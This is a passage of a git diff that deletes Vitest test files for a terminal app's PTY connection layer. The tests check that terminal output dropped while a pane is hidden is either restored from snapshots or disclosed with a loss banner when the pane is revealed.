-import type * as React from 'react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { RESET_AFTER_BYTE_GAP } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
-import {
-  flushAsyncTicks,
-  createDeferred,
-  renderHeadlessBuffer
-} from '../test-fixtures/pty-connection-test-async'
-import {
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockPane,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import type { PtyDataMeta } from '../../pty-transport/delivery/pty-dispatcher'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-import { connectMockPanePty } from '../test-fixtures/pty-connection-test-connect-mock-pane'
-
-// STA-4869: exhausted/permanent restore failures must reconcile retained bytes or disclose loss on reveal, even if abandonment occurred while backgrounded.
-
-const {
-  resetAndRefreshAllTerminalWebglAtlases,
-  scheduleRuntimeGraphSync,
-  shouldSeedCacheTimerOnInitialTitle,
-  toastInfo,
-  notifyCodexPaneBoundForStaleSweep
-} = vi.hoisted(() => ({
-  resetAndRefreshAllTerminalWebglAtlases: vi.fn(),
-  scheduleRuntimeGraphSync: vi.fn(),
-  shouldSeedCacheTimerOnInitialTitle: vi.fn(() => false),
-  toastInfo: vi.fn(),
-  notifyCodexPaneBoundForStaleSweep: vi.fn()
-}))
-
-let mockStoreState: StoreState
-let transportFactoryQueue: MockTransport[] = []
-let createdTransportOptions: Record<string, unknown>[] = []
-let storeSubscribers: ((state: StoreState) => void)[] = []
-
-vi.mock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({ scheduleRuntimeGraphSync }))
-
-vi.mock('@/lib/pane-manager/pane-manager-registry', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  resetAndRefreshAllTerminalWebglAtlases
-}))
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => mockStoreState,
-    subscribe: (listener: (state: StoreState) => void) => {
-      storeSubscribers.push(listener)
-      return () => {
-        storeSubscribers = storeSubscribers.filter((candidate) => candidate !== listener)
-      }
-    }
-  }
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const { buildAgentStatusModuleMock } =
-    await import('../test-fixtures/pty-connection-test-environment')
-  return buildAgentStatusModuleMock(await importOriginal<Record<string, unknown>>())
-})
-
-vi.mock('../../titles/cache-timer-seeding', () => ({
-  shouldSeedCacheTimerOnInitialTitle
-}))
-
-vi.mock('sonner', () => ({ toast: { info: toastInfo } }))
-
-vi.mock('@/lib/agent-session/accounts/codex/codex-stale-pane-sweep', () => ({
-  notifyCodexPaneBoundForStaleSweep
-}))
-
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof React>()
-  return {
-    ...actual,
-    useCallback: <T extends (...args: unknown[]) => unknown>(fn: T): T => fn
-  }
-})
-
-vi.mock('../../pty-transport/ipc/pty-transport', () => ({
-  createIpcPtyTransport: vi.fn((options: Record<string, unknown>) => {
-    createdTransportOptions.push(options)
-    const nextTransport = transportFactoryQueue.shift()
-    if (!nextTransport) {
-      throw new Error('No mock transport queued')
-    }
-    return nextTransport
-  })
-}))
-
-vi.mock('../../pty-transport/remote-runtime/remote-runtime-pty-transport', () => ({
-  createRemoteRuntimePtyTransport: vi.fn(
-    (_environmentId: string, options: Record<string, unknown>) => {
-      createdTransportOptions.push(options)
-      const nextTransport = transportFactoryQueue.shift()
-      if (!nextTransport) {
-        throw new Error('No mock transport queued')
-      }
-      return nextTransport
-    }
-  )
-}))
-
-vi.mock('../../pty-transport/delivery/pty-dispatcher', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  getEagerPtyBufferHandle: vi.fn(() => undefined)
-}))
-
-const REMOTE_PTY_ID = 'remote:env-1@@terminal-sta4869'
-const LOCAL_PTY_ID = 'pty-id'
-// Overflow the 2MB client queue so reveal must reconcile bytes retained only by the authority.
-const HIDDEN_FLOOD = 'x'.repeat(2 * 1024 * 1024 + 1)
-const LIVE_CHUNK = 'live-after-reveal\r\n'
-const BANNER_FRAGMENT = 'main recovery was unavailable'
-const R1_MARKER = 'R1-LOST-7f3a'
-const R2_MARKER = 'R2-LOST-91c4'
-const R5_MARKER = 'R5-LOST-b28e'
-
-type RetainedSnapshot = {
-  data: string
-  cols: number
-  rows: number
-  seq: number
-}
-
-/** The authority's retained content — the only carrier of the dropped bytes. */
-function retainedSnapshot(marker: string): RetainedSnapshot {
-  return {
-    data: `${marker}\r\n`,
-    cols: 120,
-    rows: 40,
-    seq: HIDDEN_FLOOD.length + LIVE_CHUNK.length
-  }
-}
-
-function hostAnswers(snapshot: RetainedSnapshot): unknown {
-  return { availability: { kind: 'snapshot' }, snapshot }
-}
-
-type PaneDrive = {
-  pane: MockPane
-  deps: PaneConnectionDeps
-  disposable: { dispose: () => void }
-  deliver: (data: string, seq: number) => void
-  deliverWithMeta?: (data: string, meta: PtyDataMeta) => void
-  setVisible: (visible: boolean) => void
-  setOutputPaused: (paused: boolean, dropsReported?: boolean) => void
-  reportPausedOutputDropped: () => void
-  writtenChunks: () => string[]
-}
-
-async function connectHiddenPane(
-  ptyId: string,
-  configureTransport: (transport: MockTransport) => void
-): Promise<PaneDrive> {
-  const transport = createMockTransport(ptyId)
-  configureTransport(transport)
-  const captured: {
-    current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-  } = { current: null }
-  const capturedPause: {
-    current: ((paused: boolean, supported: boolean, dropsReported?: boolean) => void) | null
-  } = {
-    current: null
-  }
-  const capturedDropped: { current: (() => void) | null } = { current: null }
-  transport.connect.mockImplementation(async ({ callbacks }: { callbacks?: ConnectCallbacks }) => {
-    captured.current = callbacks?.onData ?? null
-    capturedPause.current = callbacks?.onOutputPauseChanged ?? null
-    capturedDropped.current = callbacks?.onPausedOutputDropped ?? null
-    return ptyId
-  })
-  transportFactoryQueue.push(transport)
-  const pane = createPane(1)
-  const deps = buildPaneConnectionDeps(() => mockStoreState, {
-    isVisibleRef: { current: false }
-  })
-  const agentTitleMocks = await vi.importMock<PtyConnectionAgentTitleMocks>(
-    '@/lib/agent-status/aggregation/worktree-agent-status'
-  )
-
-  const disposable = await connectMockPanePty(
-    pane,
-    createManager(1),
-    bindPaneAgentTitleMocks(deps, agentTitleMocks)
-  )
-  await flushAsyncTicks(6)
-  expect(captured.current).not.toBeNull()
-  return {
-    pane,
-    deps,
-    disposable,
-    deliver: (data, seq) => captured.current?.(data, { seq, rawLength: data.length }),
-    setVisible: (visible) => {
-      deps.isVisibleRef.current = visible
-    },
-    setOutputPaused: (paused, dropsReported) =>
-      capturedPause.current?.(paused, true, dropsReported),
-    reportPausedOutputDropped: () => capturedDropped.current?.(),
-    writtenChunks: () => pane.terminal.write.mock.calls.map(([data]) => String(data))
-  }
-}
-
-/** Hidden-time bytes are dropped, then the pane is revealed with live output
- *  still streaming — the reveal path the gate's recovery loop owns. */
-function floodWhileHiddenThenReveal(drive: PaneDrive): void {
-  drive.deliver(HIDDEN_FLOOD, HIDDEN_FLOOD.length)
-  drive.setVisible(true)
-  drive.deliver(LIVE_CHUNK, HIDDEN_FLOOD.length + LIVE_CHUNK.length)
-}
-
-async function revealPane(drive: PaneDrive): Promise<void> {
-  drive.setVisible(true)
-  const { requestTerminalBacklogRecovery } =
-    await import('@/lib/pane-manager/pane-terminal-output-scheduler')
-  requestTerminalBacklogRecovery(drive.pane.terminal)
-  await flushAsyncTicks(20)
-}
-
-function countOccurrences(haystack: string, needle: string): number {
-  return haystack.split(needle).length - 1
-}
-
-type Disclosure = {
-  bannerWrites: number
-  markerWrites: number
-  disclosedOrRecovered: boolean
-}
-
-function observeDisclosure(drive: PaneDrive, marker: string): Disclosure {
-  const written = drive.writtenChunks()
-  const bannerWrites = written.filter((data) => data.includes(BANNER_FRAGMENT)).length
-  const markerWrites = countOccurrences(written.join(''), marker)
-  return {
-    bannerWrites,
-    markerWrites,
-    disclosedOrRecovered: bannerWrites > 0 || markerWrites === 1
-  }
-}
-
-function expectDisclosedOrRecovered(disclosure: Disclosure): void {
-  expect(
-    disclosure.disclosedOrRecovered,
-    `hidden output was neither reconciled nor disclosed: ${JSON.stringify(disclosure)}`
-  ).toBe(true)
-}
-
-/** Long enough for every deferred repaint, re-arm cycle and retry tick. */
-async function allowRecoveryWindow(): Promise<void> {
-  await vi.advanceTimersByTimeAsync(60_000)
-  await flushAsyncTicks(20)
-}
-
-describe('hidden-output restore loss disclosure (STA-4869)', () => {
-  beforeEach(async () => {
-    vi.resetModules()
-    vi.clearAllMocks()
-    transportFactoryQueue = []
-    createdTransportOptions = []
-    storeSubscribers = []
-    mockStoreState = createInitialStoreState(() => mockStoreState)
-    await installTerminalTestGlobals()
-  })
-
-  afterEach(async () => {
-    await restoreTerminalTestGlobals()
-  })
-
-  describe('R1 host retry budget exhaustion', () => {
-    const retryWorthy = {
-      availability: {
-        kind: 'retry-worthy',
-        cause: 'host-pending-output-overflowed'
-      },
-      snapshot: null
-    }
-
-    async function driveToSeventhAnswer(
-      serializeBufferOutcome: ReturnType<typeof vi.fn>
-    ): Promise<PaneDrive> {
-      const drive = await connectHiddenPane(REMOTE_PTY_ID, (transport) => {
-        transport.serializeBuffer = vi.fn()
-        transport.serializeBufferOutcome = serializeBufferOutcome
-      })
-      vi.useFakeTimers()
-      floodWhileHiddenThenReveal(drive)
-      await flushAsyncTicks(20)
-      expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-      // Each retry-worthy answer quietly re-arms one post-suppression repaint.
-      for (let request = 2; request <= 6; request += 1) {
-        await vi.advanceTimersByTimeAsync(2_000)
-        await flushAsyncTicks(20)
-        expect(serializeBufferOutcome).toHaveBeenCalledTimes(request)
-      }
-      expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-      return drive
-    }
-
-    it('[control] discloses the loss when the budget ends while the pane is visible', async () => {
-      const serializeBufferOutcome = vi.fn().mockResolvedValue(retryWorthy)
-      const drive = await driveToSeventhAnswer(serializeBufferOutcome)
-
-      await vi.advanceTimersByTimeAsync(2_000)
-      await flushAsyncTicks(20)
-      serializeBufferOutcome.mockResolvedValue(hostAnswers(retainedSnapshot(R1_MARKER)))
-      await allowRecoveryWindow()
-
-      expect(observeDisclosure(drive, R1_MARKER)).toMatchObject({
-        disclosedOrRecovered: true
-      })
-      drive.disposable.dispose()
-    })
-
-    async function exhaustBudgetWhileHidden(
-      serializeBufferOutcome: ReturnType<typeof vi.fn>
-    ): Promise<PaneDrive> {
-      const seventhAnswer = createDeferred<unknown>()
-      const drive = await driveToSeventhAnswer(serializeBufferOutcome)
-      serializeBufferOutcome.mockReturnValueOnce(seventhAnswer.promise)
-      await vi.advanceTimersByTimeAsync(2_000)
-      await flushAsyncTicks(20)
-      drive.setVisible(false)
-      seventhAnswer.resolve(retryWorthy)
-      await flushAsyncTicks(20)
-      return drive
-    }
-
-    it('[fix] heals exactly once on one fresh snapshot when the host recovered', async () => {
-      const serializeBufferOutcome = vi.fn().mockResolvedValue(retryWorthy)
-      const drive = await exhaustBudgetWhileHidden(serializeBufferOutcome)
-
-      serializeBufferOutcome.mockResolvedValue(hostAnswers(retainedSnapshot(R1_MARKER)))
-      const requestsBeforeReveal = serializeBufferOutcome.mock.calls.length
-      await revealPane(drive)
-      await allowRecoveryWindow()
-
-      expect(observeDisclosure(drive, R1_MARKER)).toMatchObject({
-        bannerWrites: 0,
-        markerWrites: 1
-      })
-      // Reveal is the bounded retry: one fresh snapshot, not a fresh budget.
-      expect(serializeBufferOutcome.mock.calls.length - requestsBeforeReveal).toBe(1)
-      drive.disposable.dispose()
-    })
-
-    it('[fix] banners once when the host is still broken at reveal', async () => {
-      const serializeBufferOutcome = vi.fn().mockResolvedValue(retryWorthy)
-      const drive = await exhaustBudgetWhileHidden(serializeBufferOutcome)
-      expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-
-      const requestsBeforeReveal = serializeBufferOutcome.mock.calls.length
-      await revealPane(drive)
-      await allowRecoveryWindow()
-
-      // Spent-budget abandonment must defer disclosure until foreground reveal.
-      expect(observeDisclosure(drive, R1_MARKER)).toMatchObject({
-        bannerWrites: 1,
-        markerWrites: 0
-      })
-      // Preserve spent counters across deferral: reveal gets one host request, not another seven-attempt budget.
-      expect(serializeBufferOutcome.mock.calls.length - requestsBeforeReveal).toBe(1)
-      drive.disposable.dispose()
-    })
-  })
-
-  describe('R2 permanently-unavailable answer', () => {
-    const permanentlyUnavailable = {
-      availability: {
-        kind: 'permanently-unavailable',
-        reason: 'exceeds-client-replay-limit'
-      },
-      snapshot: null
-    }
-
-    it('[control] banners once when the answer lands while the pane is visible', async () => {
-      const serializeBufferOutcome = vi.fn().mockResolvedValue(permanentlyUnavailable)
-      const drive = await connectHiddenPane(REMOTE_PTY_ID, (transport) => {
-        transport.serializeBuffer = vi.fn()
-        transport.serializeBufferOutcome = serializeBufferOutcome
-      })
-      vi.useFakeTimers()
-      floodWhileHiddenThenReveal(drive)
-      await flushAsyncTicks(20)
-      await allowRecoveryWindow()
-
-      expect(observeDisclosure(drive, R2_MARKER)).toMatchObject({
-        bannerWrites: 1,
-        disclosedOrRecovered: true
-      })
-      drive.disposable.dispose()
-    })
-
-    it('[invariant] discloses or recovers when the answer lands while the pane is hidden', async () => {
-      const answer = createDeferred<unknown>()
-      const serializeBufferOutcome = vi.fn().mockReturnValue(answer.promise)
-      const drive = await connectHiddenPane(REMOTE_PTY_ID, (transport) => {
-        transport.serializeBuffer = vi.fn()
-        transport.serializeBufferOutcome = serializeBufferOutcome
-      })
-      vi.useFakeTimers()
-      floodWhileHiddenThenReveal(drive)
-      await flushAsyncTicks(20)
-      expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-
-      drive.setVisible(false)
-      answer.resolve(permanentlyUnavailable)
-      await flushAsyncTicks(20)
-
-      serializeBufferOutcome.mockResolvedValue(hostAnswers(retainedSnapshot(R2_MARKER)))
-      await revealPane(drive)
-      await allowRecoveryWindow()
-
-      const disclosure = observeDisclosure(drive, R2_MARKER)
-      expect(disclosure.markerWrites).toBeLessThanOrEqual(1)
-      expectDisclosedOrRecovered(disclosure)
-      drive.disposable.dispose()
-    })
-  })
-
-  // SSH and paired panes reveal through host unpause, requiring separate coverage from local backlog recovery.
-  describe('remote output-pause reveal', () => {
-    const REMOTE_MARKER = 'REMOTE-LOST-4d19'
-    const answersWhileHidden = [
-      {
-        host: 'modern host, permanently unavailable',
-        failure: {
-          availability: {
-            kind: 'permanently-unavailable',
-            reason: 'exceeds-client-replay-limit'
-          },
-          snapshot: null
-        },
-        legacy: false,
-        dropsReported: false
-      },
-      {
-        // #29253: the host reports drops, so only its drop frame arms the restore.
-        host: 'drop-reporting host, permanently unavailable',
-        failure: {
-          availability: {
-            kind: 'permanently-unavailable',
-            reason: 'exceeds-client-replay-limit'
-          },
-          snapshot: null
-        },
-        legacy: false,
-        dropsReported: true
-      },
-      { host: 'legacy host, no snapshot yet', failure: null, legacy: true, dropsReported: false }
-    ]
-    it.each(answersWhileHidden)(
-      '[invariant] restores on the unpause reveal after a restore failed while hidden ($host)',
-      async ({ failure, legacy, dropsReported }) => {
-        const answer = createDeferred<unknown>()
-        const request = vi.fn().mockReturnValue(answer.promise)
-        const drive = await connectHiddenPane(REMOTE_PTY_ID, (transport) => {
-          transport.serializeBuffer = legacy ? request : vi.fn()
-          transport.serializeBufferOutcome = legacy ? undefined : request
-        })
-        vi.useFakeTimers()
-        drive.setOutputPaused(true, dropsReported)
-        if (dropsReported) {
-          drive.reportPausedOutputDropped()
-        }
-        drive.setVisible(true)
-        drive.setOutputPaused(false, dropsReported)
-        await flushAsyncTicks(20)
-        expect(request).toHaveBeenCalledTimes(1)
-
-        // Switch away before the answer; hosts do not resend reported drops, so the pending restore must survive.
-        drive.setVisible(false)
-        drive.setOutputPaused(true, dropsReported)
-        answer.resolve(failure)
-        await flushAsyncTicks(20)
-        await allowRecoveryWindow()
-
-        const snapshot = retainedSnapshot(REMOTE_MARKER)
-        request.mockResolvedValue(legacy ? snapshot : hostAnswers(snapshot))
-        drive.setVisible(true)
-        drive.setOutputPaused(false, dropsReported)
-        await flushAsyncTicks(20)
-
-        expect(request).toHaveBeenCalledTimes(2)
-        expect(observeDisclosure(drive, REMOTE_MARKER)).toMatchObject({
-          bannerWrites: 0,
-          markerWrites: 1
-        })
-        drive.disposable.dispose()
-      }
-    )
-  })
-
-  describe('R5 local deferred-retry exhaustion', () => {
-    async function connectLocalHiddenPane(): Promise<PaneDrive & { transport: MockTransport }> {
-      // Gate local hidden output to mirror the host pause exercised by remote routes.
-      const transport = createMockTransport(LOCAL_PTY_ID)
-      const captured: {
-        current: ((data: string, meta?: PtyDataMeta) => void) | null
-      } = { current: null }
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks?: ConnectCallbacks }) => {
-          captured.current = callbacks?.onData ?? null
-          return LOCAL_PTY_ID
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-      const deps = buildPaneConnectionDeps(() => mockStoreState, {
-        isVisibleRef: { current: false },
-        startup: { command: 'codex' }
-      })
-      const agentTitleMocks2 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-
-      const disposable = await connectMockPanePty(
-        pane,
-        createManager(1),
-        bindPaneAgentTitleMocks(deps, agentTitleMocks2)
-      )
-      await flushAsyncTicks(6)
-      expect(captured.current).not.toBeNull()
-      return {
-        transport,
-        pane,
-        deps,
-        disposable,
-        deliver: (data, seq) => captured.current?.(data, { seq, rawLength: data.length }),
-        deliverWithMeta: (data, meta) => captured.current?.(data, meta),
-        setVisible: (visible) => {
-          deps.isVisibleRef.current = visible
-        },
-        // Local panes are gated in main, not paused on a host.
-        setOutputPaused: () => {},
-        reportPausedOutputDropped: () => {},
-        writtenChunks: () => pane.terminal.write.mock.calls.map(([data]) => String(data))
-      }
-    }
-
-    it('[control] banners once when the retries run out while the pane is visible', async () => {
-      const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-      getMainBufferSnapshot.mockResolvedValue(null)
-      const drive = await connectLocalHiddenPane()
-      vi.useFakeTimers()
-      floodWhileHiddenThenReveal(drive)
-      await flushAsyncTicks(20)
-
-      for (let attempt = 0; attempt < 3; attempt += 1) {
-        await vi.advanceTimersByTimeAsync(50)
-        await flushAsyncTicks(20)
-      }
-
-      expect(getMainBufferSnapshot).toHaveBeenCalledTimes(4)
-      expect(observeDisclosure(drive, R5_MARKER)).toMatchObject({
-        bannerWrites: 1,
-        disclosedOrRecovered: true
-      })
-      drive.disposable.dispose()
-    })
-
-    it('[fix] nudges the idle TUI to repaint over the banner', async () => {
-      vi.mocked(window.api.pty.getMainBufferSnapshot).mockResolvedValue(null)
-      const drive = await connectLocalHiddenPane()
-      vi.useFakeTimers()
-      floodWhileHiddenThenReveal(drive)
-      await flushAsyncTicks(20)
-      for (let attempt = 0; attempt < 3; attempt += 1) {
-        await vi.advanceTimersByTimeAsync(50)
-        await flushAsyncTicks(20)
-      }
-      expect(observeDisclosure(drive, R5_MARKER).bannerWrites).toBe(1)
-      const { cols, rows } = drive.pane.terminal
-      // Differential TUIs (Codex, Claude Code) never rewrite cells they believe unchanged.
-      expect(drive.transport.resize).toHaveBeenLastCalledWith(cols, rows - 1, { claim: true })
-      await vi.advanceTimersByTimeAsync(250)
-      expect(drive.transport.resize).toHaveBeenLastCalledWith(cols, rows, { claim: true })
-      drive.disposable.dispose()
-    })
-
-    it('[invariant] keeps recovery armed when the pane hides before the retries run out', async () => {
-      const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-      getMainBufferSnapshot.mockResolvedValue(null)
-      const drive = await connectLocalHiddenPane()
-      vi.useFakeTimers()
-      floodWhileHiddenThenReveal(drive)
-      await flushAsyncTicks(20)
-
-      // The pane goes background one retry into the budget.
-      await vi.advanceTimersByTimeAsync(50)
-      await flushAsyncTicks(20)
-      drive.setVisible(false)
-      await allowRecoveryWindow()
-
-      // Main still holds the dropped bytes; reveal must spend them.
-      getMainBufferSnapshot.mockResolvedValue(retainedSnapshot(R5_MARKER))
-      await revealPane(drive)
-      await allowRecoveryWindow()
-
-      const disclosure = observeDisclosure(drive, R5_MARKER)
-      expect(disclosure.markerWrites).toBeLessThanOrEqual(1)
-      expectDisclosedOrRecovered(disclosure)
-      drive.disposable.dispose()
-    })
-
-    // #33766: main marks the first chunk after its hidden drop when it resumes inside an escape.
-    async function abandonAfterResumedChunk(
-      resumed: string,
-      midEscape?: true | 'unknown',
-      transform?: { rawLength: number }
-    ) {
-      vi.mocked(window.api.pty.getMainBufferSnapshot).mockResolvedValue(null)
-      const drive = await connectLocalHiddenPane()
-      vi.useFakeTimers()
-      drive.deliver(HIDDEN_FLOOD, HIDDEN_FLOOD.length)
-      drive.setVisible(true)
-      const rawLength = transform?.rawLength ?? resumed.length
-      drive.deliverWithMeta?.(resumed, {
-        seq: HIDDEN_FLOOD.length + rawLength,
-        rawLength,
-        ...(transform ? { transformed: true } : {}),
-        ...(midEscape ? { midEscape } : {})
-      })
-      await flushAsyncTicks(20)
-      for (let attempt = 0; attempt < 3; attempt += 1) {
-        await vi.advanceTimersByTimeAsync(50)
-        await flushAsyncTicks(20)
-      }
-      drive.disposable.dispose()
-      vi.useRealTimers()
-      return (await renderHeadlessBuffer(drive.writtenChunks(), 120, 8)).join('\n')
-    }
-
-    it.each([
-      ['an OSC title', 'ial refactoring PRs | cleanup-dumb-exports\x07> prompt', 'ial refactoring'],
-      ['an SGR sequence', ';5;242m> prompt', ';242m']
-    ])('skips a delivery resuming inside %s after the gap reset', async (_name, resumed, tail) => {
-      // Skipped whole, never trimmed: the prompt it carried returns with the repaint nudge.
-      const screen = await abandonAfterResumedChunk(resumed, true)
-      expect({
-        banner: screen.includes(BANNER_FRAGMENT),
-        prompt: screen.includes('> prompt'),
-        tail: screen.includes(tail)
-      }).toEqual({ banner: true, prompt: false, tail: false })
-    })
-
-    it('skips a mid-escape delivery after the gap reset even when main stripped agent status from it', async () => {
-      const screen = await abandonAfterResumedChunk('2C> prompt', true, { rawLength: 40 })
-      expect({
-        banner: screen.includes(BANNER_FRAGMENT),
-        prompt: screen.includes('> prompt'),
-        tail: screen.includes('2C')
-      }).toEqual({ banner: true, prompt: false, tail: false })
-    })
-
-    it('keeps a mid-escape continuation when the snapshot at the gap carries the open escape', async () => {
-      // The snapshot predates the resumed chunk, so its pending escape needs every continuation byte.
-      vi.mocked(window.api.pty.getMainBufferSnapshot).mockResolvedValue({
-        data: 'history\r\n',
-        cols: 120,
-        rows: 40,
-        seq: HIDDEN_FLOOD.length,
-        pendingEscapeTailAnsi: '\x1b[38;5'
-      })
-      const drive = await connectLocalHiddenPane()
-      vi.useFakeTimers()
-      drive.deliver(HIDDEN_FLOOD, HIDDEN_FLOOD.length)
-      drive.setVisible(true)
-      const resumed = ';242m+ line'
-      drive.deliverWithMeta?.(resumed, {
-        seq: HIDDEN_FLOOD.length + resumed.length,
-        rawLength: resumed.length,
-        midEscape: true
-      })
-      await allowRecoveryWindow()
-      drive.disposable.dispose()
-      vi.useRealTimers()
-      const written = drive.writtenChunks().join('')
-      const screen = (await renderHeadlessBuffer(drive.writtenChunks(), 120, 8)).join('\n')
-      expect({
-        continuationWritten: written.includes('\x1b[38;5') && written.includes(resumed),
-        line: screen.includes('+ line'),
-        tail: screen.includes(';242m'),
-        banner: screen.includes(BANNER_FRAGMENT)
-      }).toEqual({ continuationWritten: true, line: true, tail: false, banner: false })
-    })
-
-    it('keeps unlabeled output that ends in a bell', async () => {
-      const screen = await abandonAfterResumedChunk('build done\x07')
-      expect(screen.includes('build done')).toBe(true)
-    })
-  })
-
-  // The PTY-swap arm requires a prior successful snapshot, which resets its abandon budget; a deferred repaint must keep any subsequent gap recoverable.
-  describe('restore-loop PTY-swap arm', () => {
-    it('[fix] re-arms instead of declaring a loss when the host loses snapshot capability', async () => {
-      const swapMarker = 'R7-LOST-3e91'
-      const answer = createDeferred<unknown>()
-      const serializeBufferOutcome = vi.fn().mockReturnValue(answer.promise)
-      let paneTransport: MockTransport | null = null
-      const drive = await connectHiddenPane(REMOTE_PTY_ID, (transport) => {
-        paneTransport = transport
-        transport.serializeBuffer = vi.fn()
-        transport.serializeBufferOutcome = serializeBufferOutcome
-      })
-      if (!paneTransport) {
-        throw new Error('transport was never configured')
-      }
-      const transport: MockTransport = paneTransport
-      const { resetTerminalFreezeBreadcrumbsForTesting, getTerminalFreezeBreadcrumbs } =
-        await import('../../render-health/diagnostics/terminal-freeze-breadcrumbs')
-      vi.useFakeTimers()
-      floodWhileHiddenThenReveal(drive)
-      await flushAsyncTicks(20)
-      expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-
-      // A background chunk stales the in-flight snapshot and forces a second iteration.
-      drive.setVisible(false)
-      drive.deliver('stale-during-restore\r\n', HIDDEN_FLOOD.length + LIVE_CHUNK.length + 32)
-      drive.setVisible(true)
-
-      // The host drops snapshot support underneath the in-flight request.
-      transport.serializeBuffer = undefined
-      resetTerminalFreezeBreadcrumbsForTesting()
-      answer.resolve(hostAnswers(retainedSnapshot(swapMarker)))
-      await flushAsyncTicks(20)
-
-      const disclosure = observeDisclosure(drive, swapMarker)
-      expect(disclosure.bannerWrites).toBe(0)
-      // Route proof: the re-arm reason names this arm, not the deadline abandon.
-      expect(
-        getTerminalFreezeBreadcrumbs()
-          .filter((crumb) => crumb.kind === 'restore-abandon-rearm')
-          .map((crumb) => crumb.detail?.reason)
-      ).toEqual(['restore-pty-swapped'])
-      // The gap is still grounded, and the deferred repaint keeps recovery armed.
-      expect(drive.writtenChunks().some((chunk) => chunk.startsWith(RESET_AFTER_BYTE_GAP))).toBe(
-        true
-      )
-      drive.disposable.dispose()
-    })
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-unhide-repaint-fallback.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-unhide-repaint-fallback.test.ts
deleted file mode 100644
index 3c6daead4da..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-unhide-repaint-fallback.test.ts
+++ /dev/null
@@ -1,168 +0,0 @@
-import '../test-fixtures/pty-connection-mocks.spec'
-import { describe, expect, it, vi } from 'vitest'
-import { flushAsyncTicks, createDeferred } from '../test-fixtures/pty-connection-test-async'
-import {
-  announceMainDrop,
-  BANNER_FRAGMENT,
-  connectVisiblePane,
-  installHiddenRestoreFloodSuiteHooks,
-  modelSnapshot,
-  OVERFLOW_CHUNK,
-  PTY_ID,
-  type MainSnapshot
-} from '../test-fixtures/pty-connection-test-hidden-restore-flood'
-
-// Uncovered unhide markers require quiet repaint or retry that recovers without a loss banner.
-
-describe('hidden-output restore unhide repaint fallback (STA-4869)', () => {
-  installHiddenRestoreFloodSuiteHooks()
-
-  it('does not leave a parked repaint after a repeated episode is repaired', async () => {
-    const { markTerminalFollowOutput, markTerminalPinnedViewport } =
-      await import('@/lib/pane-manager/terminal-scroll-intent')
-    const drive = await connectVisiblePane()
-    vi.useFakeTimers()
-    const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-    const first = createDeferred<MainSnapshot>()
-    getMainBufferSnapshot.mockReturnValueOnce(first.promise)
-    getMainBufferSnapshot.mockResolvedValue(modelSnapshot('PARKED_EPISODE_RECOVERED', 512))
-    try {
-      await announceMainDrop(64, 1)
-      drive.pane.terminal.buffer.active.baseY = 100
-      drive.pane.terminal.buffer.active.viewportY = 42
-      markTerminalPinnedViewport(drive.pane.terminal)
-      await announceMainDrop(256, 2, 'unhide')
-      await vi.advanceTimersByTimeAsync(2_100)
-      await flushAsyncTicks(20)
-      expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-      await announceMainDrop(256, 2, 'unhide')
-      first.resolve(modelSnapshot('PRE_EPISODE_CAPTURE', 128))
-      await flushAsyncTicks(50)
-      const repairAlreadyPainted = getMainBufferSnapshot.mock.calls.length === 2
-      if (repairAlreadyPainted) {
-        const live = 'LIVE_AFTER_PARKED_REPAIR\r\n'
-        drive.deliver(live, 512 + live.length)
-        await flushAsyncTicks(10)
-      }
-      const writesBeforeFollowing = drive.writtenChunks().length
-      drive.pane.terminal.buffer.active.viewportY = drive.pane.terminal.buffer.active.baseY
-      markTerminalFollowOutput(drive.pane.terminal)
-      await vi.advanceTimersByTimeAsync(2_100)
-      await flushAsyncTicks(50)
-      expect.soft(getMainBufferSnapshot).toHaveBeenCalledTimes(2)
-      if (repairAlreadyPainted) {
-        expect(drive.writtenChunks().slice(writesBeforeFollowing).join('')).not.toContain('\x1b[2J')
-      }
-    } finally {
-      drive.disposable.dispose()
-    }
-  })
-
-  it('keeps the deferred repaint when pending live bytes overflow before the snapshot drains', async () => {
-    const drive = await connectVisiblePane()
-    vi.useFakeTimers()
-    const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-    const first = createDeferred<MainSnapshot>()
-    getMainBufferSnapshot.mockReturnValueOnce(first.promise)
-    getMainBufferSnapshot.mockResolvedValue(modelSnapshot('OVERFLOW_RECOVERED', 1_000_000))
-    try {
